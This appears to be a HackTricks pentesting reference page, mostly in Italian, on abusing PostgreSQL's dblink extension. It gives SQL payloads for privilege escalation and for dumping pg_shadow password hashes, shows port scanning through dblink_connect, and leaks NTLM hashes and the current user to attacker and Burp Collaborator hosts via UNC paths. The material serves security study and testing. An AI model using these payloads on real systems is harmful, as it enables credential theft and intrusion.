Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Trova ulteriori informazioni su questi attacchi nel documento originale.

Dalla versione 9.1 di PostgreSQL, l'installazione di moduli aggiuntivi è semplice. Le estensioni registrate come dblink possono essere installate con CREATE EXTENSION:

CREATE EXTENSION dblink;

Once you have dblink loaded you could be able to perform some interesting tricks:

Privilege Escalation

Il file pg_hba.conf potrebbe essere configurato in modo errato consentendo connessioni da localhost come qualsiasi utente senza bisogno di conoscere la password. Questo file si trova tipicamente in /etc/postgresql/12/main/pg_hba.conf e una configurazione errata appare così:

local    all    all    trust

Nota che questa configurazione è comunemente usata per modificare la password di un utente db quando l'amministratore la dimentica, quindi a volte potresti trovarla. Nota anche che il file pg_hba.conf è leggibile solo dall'utente e dal gruppo postgres e scrivibile solo dall'utente postgres.

Questo caso è utile se hai già una shell all'interno della vittima poiché ti permetterà di connetterti al database postgresql.

Un'altra possibile misconfigurazione consiste in qualcosa del genere:

host    all     all     127.0.0.1/32    trust

Poiché consentirà a chiunque dal localhost di connettersi al database come qualsiasi utente. In questo caso e se la funzione dblink è funzionante, potresti escalare i privilegi connettendoti al database tramite una connessione già stabilita e accedere ai dati a cui non dovresti poter accedere:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Scanning

Abusando di dblink_connect potresti anche cercare porte aperte. Se quella **funzione non funziona, dovresti provare a usare dblink_connect_u() poiché la documentazione afferma che dblink_connect_u() è identica a dblink_connect(), tranne per il fatto che consentirà agli utenti non super di connettersi utilizzando qualsiasi metodo di autenticazione_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Nota che prima di poter utilizzare dblink_connect o dblink_connect_u potrebbe essere necessario eseguire:

CREATE extension dblink;

UNC path - divulgazione dell'hash NTLM

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

Impara e pratica il hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Last updated